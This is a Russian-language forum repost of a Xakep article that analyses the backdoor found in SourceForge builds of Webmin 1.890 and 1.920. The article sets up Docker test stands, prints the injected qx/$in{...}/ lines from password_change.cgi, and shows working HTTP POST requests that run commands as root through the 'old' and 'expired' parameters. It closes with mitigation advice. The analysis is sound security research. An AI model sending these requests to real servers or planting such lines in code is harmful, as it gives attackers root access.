Хакер - Лазейка в Webmin. Как работает бэкдор в панели управления сервером

M

mostbiggestshark

Original poster
Содержание статьи
  • Стенд
  • Детали
  • Демонстрация уязвимости (видео)
  • Заключение
В популярной панели управления сервером

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

обнаружилась уязвимость, которая больше всего похожа на оставленную кем-то закладку. Атакующий в результате может выполнять произвольный код на целевой системе с правами суперпользователя. Давай посмотрим, как это работает, в чем заключается проблема и как с ней бороться.
Webmin полностью написан на Perl, без использования нестандартных модулей. Он состоит из простого веб-сервера и нескольких скриптов — они связывают команды, обеспечивающие исполнение команд, которые пользователь отдает в веб-интерфейсе, на уровне операционной системы и внешних программ. Через веб-админку можно создавать новые учетные записи пользователей, почтовые ящики, изменять настройки служб и разных сервисов и все в таком духе.
Уязвимость находится в модуле восстановления пароля. Манипулируя параметром old в скрипте password_change.cgi, атакующий может выполнять произвольный код на целевой системе с правами суперпользователя, что наводит на мысли об умышленном характере этого бага. Что еще подозрительнее — проблема присутствует только в готовых сборках дистрибутива с SourceForge, а в исходниках на GitHub ее нет.
Стенд
Для демонстрации уязвимости нам понадобятся две версии дистрибутива Webmin — 1.890 и 1.920, так как тестовые окружения для них немного различаются.
Для этого воспользуемся двумя контейнерами Docker.
$ docker run -it --rm -p10000:10000 --name=webminrce18 --hostname=webminrce18.vh debian /bin/bash
$ docker run -it --rm -p20000:10000 --name=webminrce19 --hostname=webminrce19.vh debian /bin/bash

Теперь установим необходимые зависимости.
$ apt-get update -y && apt install -y perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl nano wget python apt-show-versions

Во время установки apt-show-versions у меня возникла проблема (на скриншоте ниже).
246a9174a201631360baf.png

Следующие команды помогают ее устранить:
$ apt-get purge -y apt-show-versions
$ rm /var/lib/apt/lists/*lz4
$ apt-get -o Acquire::GzipIndexes=false update -y
$ apt install -y apt-show-versions

После этого скачиваем соответствующие версии дистрибутивов с SourceForge.
$ wget

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


$ wget

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



И устанавливаем их.
$ dpkg --install webmin_1.890_all.deb
$ dpkg --install webmin_1.920_all.deb

678ca83cde861ba3fd89a.png

Теперь запускаем демоны Webmin.
$ service webmin start

Версия 1.890 доступна на дефолтном порте 10000, а 1.920 — на 20000.
5bc65e2f56047bc6297fd.png

Осталось только установить пароль для пользователя root при помощи команды passwd, и стенды готовы. Переходим к деталям уязвимости.
Детали
Сначала разберемся с версией 1.920. Проблема — в функции смены пароля, а сама она находится в файле password_change.cgi. Так как проблема затронула только версию приложения с SourceForge, можно легко узнать, в чем разница с той, что лежит на GitHub.
a5aaa6f5de49d583553eb.png

Видим, что добавлен вызов функции qx.
webmin-1.920-github/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});

webmin-1.920-sourceforge/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Интересные изменения. Но не будем спешить, сначала разберемся, как добраться до этой части кода.
В начале скрипта проверяется, какой режим парольной политики выбран в настройках.
password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

Авторизуемся в панели управления Webmin как root и зайдем в настройки аутентификации (Webmin → Webmin Configuration → Authentication), здесь нужно найти пункт Password expiry policy и установить его в Prompt users with expired passwords to enter a new one.
66ff5e0fe3886895ddbb7.png

Теперь переменная passwd_mode имеет значение 2, что можно проверить в конфигурационном файле, и выполнение скрипта не будет прерываться на строке 12.
c67b8e55da74f58ce8a9f.png

Чтобы наглядно увидеть форму для изменения пароля, давай перейдем в раздел редактирования пользователей и создадим тестового юзера. Здесь установим опцию Force change at next login.
fbb5df145c4a0878eedee.png

Теперь при авторизации от его имени система попросит установить новый пароль. Данные этой формы как раз и будут отправлены на скрипт password_change.cgi.
3615b18993a4c6c9075d2.png

Итак, заполним форму, отправим и перехватим запрос. Теперь возвращаемся к скрипту. Массив $in содержит пользовательские данные, которые передаются в теле запроса POST.
password_change.cgi
15: $in{'new1'} ne '' || &pass_error($text{'password_enew1'});
16: $in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'});

Здесь проверяется, что новый пароль установлен (переменная new1) и он оба раза введен верно (new1 == new2).
Далее Webmin выполняет проверку на наличие и возможность использования модуля acl (access-control list).
password_change.cgi
19: if (&foreign_check("acl")) {

Если такой модуль есть, то подгружаем его.
20: &foreign_require("acl", "acl-lib.pl");

Из названия понятно, что модуль работает со списком управления доступом. Он выполняет разные операции с пользователями: редактирование, изменение паролей и прав.
Скрипт выбирает из списка пользователей юзера, которому нужно установить новый пароль. Имя пользователя берется из поля user формы смены пароля.
password_change.cgi
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();

Давай немного поиграем в тестировщиков и посмотрим на переменную $wuser. Для этого нужно добавить в скрипт включение модуля

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, после чего можно будет выводить информацию о переменных при помощи конструкции Dumper($var_name).
password_change.cgi
6: use Data::Dumper;
...
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users(); print Dumper($wus

7d4bb524b9cd812808a6e.png

В Webmin пользователи бывают двух типов: системные, которые существуют непосредственно в ОС, и внутренние юзеры приложения. Список системных пользователей в Linux ты можешь найти в файле /etc/passwd, именно из него и берет информацию Webmin. Поэтому у таких пользователей свойство pass будет иметь значение x.
20b9e714a9a3b0a435655.png

Если мы будем использовать такого юзера в форме смены пароля, то это не позволит нам попасть в нужное условие и добраться до нужного участка кода.
$wuser = {
'name' => 'root',
'pass' => 'x',
'readonly' => undef,
'lastchange' => '',
'real' => undef,
'twofactor_apikey' => undef,
'lang' => 'ru.UTF-8',
...
};

password_change.cgi
22: if ($wuser->{'pass'} eq 'x') {
23: # A Webmin user, but using Unix authentication
24: $wuser = undef;
25: }
...
37: if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Если ты поставишь вывод значения переменной прямо перед условием, то увидишь, что при попытке изменить пароль системному пользователю она будет иметь значение undef.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});

c5c34ffbd84180276e457.png

Однако не все так плохо. Если указать несуществующего пользователя, то переменная станет пустой, но не неопределенной. И в таком случае условие if ($wuser) будет считаться истиной.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: die 'We are here!'; $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});

a5679126df357c60cdc7a.png

Здесь старый пароль, который мы передали в форме, сравнивается с текущим паролем пользователя. Естественно, эта часть выражения будет ложной, так как никакого пользователя nonexistentuser не существует. Поэтому выполняется вторая часть условия, где выводится сообщение об ошибке, а к нему добавляется то, что вернет конструкция qx/$in{'old'}/.
password_change.cgi
37: if ($wuser) {
...
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Что же это за функция —

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

? Это альтернатива использованию обратных кавычек для выполнения системных команд. В качестве разделителей можно использовать любые символы, в нашем случае это /. То есть, проще говоря, будет выполнена команда, которая передана в качестве старого пароля (old) пользователя.
Давай протестируем это и попробуем передать, например, uname -a.
POST /password_change.cgi HTTP/1.1
Host: webminrce19.vh:20000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



user=nonexistentuser&pam=1&expired=2&old=uname+-a&new1=any&new2=any

893dfdc4c5171f2cc9f2f.png

Вуаля! Команда была выполнена, и pass_error любезно предоставила результат ее работы на экране.
Таким образом, если парольная политика Webmin 1.920 разрешает запрашивать новые аутентификационные данные у пользователей с просроченными паролями, то при такой конфигурации возможно удаленное выполнение команд от имени суперпользователя.
С этой версией разобрались, теперь перейдем к более старой 1.890.
Снова сравним файл password_change.cgi из двух источников.
fec93580bef21bd2d9867.png

webmin-1.890-github/password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

webmin-1.890-sourceforge/password_change.cgi
12: $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;

Здесь есть похожая конструкция с qx — qx/$in{'expired'}/, только на этот раз она была использована еще более дерзко.
Сначала обращаю твое внимание на то, что вместо проверки парольной политики используется простая проверка переменной $in{'expired'} на то, не пустая ли она. Так как $in — это пользовательские данные из запроса, то обойти эту проверку не составит никакого труда. Для этого достаточно указать любое значение в параметре expired при запросе к скрипту. К тому же данные из этого параметра и являются тем, что будет выполнено. Поэтому просто указываем необходимую команду.
POST /password_change.cgi HTTP/1.1
Host: webminrce18.vh:10000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



expired=id

И сервер вернет результат ее выполнения.
bc4c97eff77c2d26e991b.png

Заключение
Сегодня мы узнали, что не стоит слепо доверять даже таким источникам, как

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Если есть несколько способов скачать приложения, то можно сверить их контрольные суммы. А если ты ставишь дистрибутив на сервер, где будет идти работа с важными данными, то этот пункт становится еще актуальнее.
Если ты сам разработчик, то почаще проверяй, что ты загружаешь на разные ресурсы: версии не должны расходиться. А еще лучше использовать какое-то средство автоматического аудита исходников, которое предупредит о подозрительных находках. Это, конечно, не панацея, но в таких случаях может выручить.
Если же ты уже используешь Webmin и хочешь избавиться от описанной закладки, то это просто. Достаточно удалить вызов функции qx, а также вернуть проверку passwd_mode в Webmin версии 1.890.
Если хочешь побольше узнать о том, как получилось, что бэкдор попал в релиз дистрибутива, рекомендую ознакомиться с

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

событий, написанной разработчиками Webmin.
 
  • Like
Реакции: ev0117434 и Admin
M

Makskajdakov

Original poster
А русификатора нет ?
 
Название темы
Автор Заголовок Раздел Ответы Дата
DOMINUS Хакер из Бобруйска заработал полмиллиона долларов на брутфорс-атаках Новости в сети 0
L Интересно Хакер вернул большую часть украденных с Lendf.me криптоактивов Новости в сети 0
M Хакер - Android: Бэкдор в смартфонах Huawei и особенности реaлизации TrustZone в Samsung Корзина 0
M Хакер - Call Detail Record. Как полиция вычисляет преступников без сложной техники Корзина 6
M Хакер установил Windows 10 на калькулятор Новости в сети 5
Admin Хакер за неделю украл биткоинов на $750 000, Через фейковый electrum север Новости в сети 6
T Платные статьи из журнала Хакер Полезные статьи 1
K Хакер-программист 2018 Другое 0
G Хакер-программист 2018 Другое 4
I Бесплатная подписка на 7 дней / Журнал "Хакер"! Другое 0
S Хакер воспользовался уязвимостью в Ethereum-клиенте Parity и украл криптовалюту на $30 млн Новости в сети 0
S Хакер похитил почти $8 млн в криптовалюте с помощью простого трюка Новости в сети 0
S Хакер из Ангарска осужден на 8 месяцев за создание трояна Новости в сети 0
T Хакер. Старт. Библиотека. Вопросы и интересы 3
Admin Хакер похитил криптовалюту на $300 тыс. и обвалил ее курс Новости в сети 1

Название темы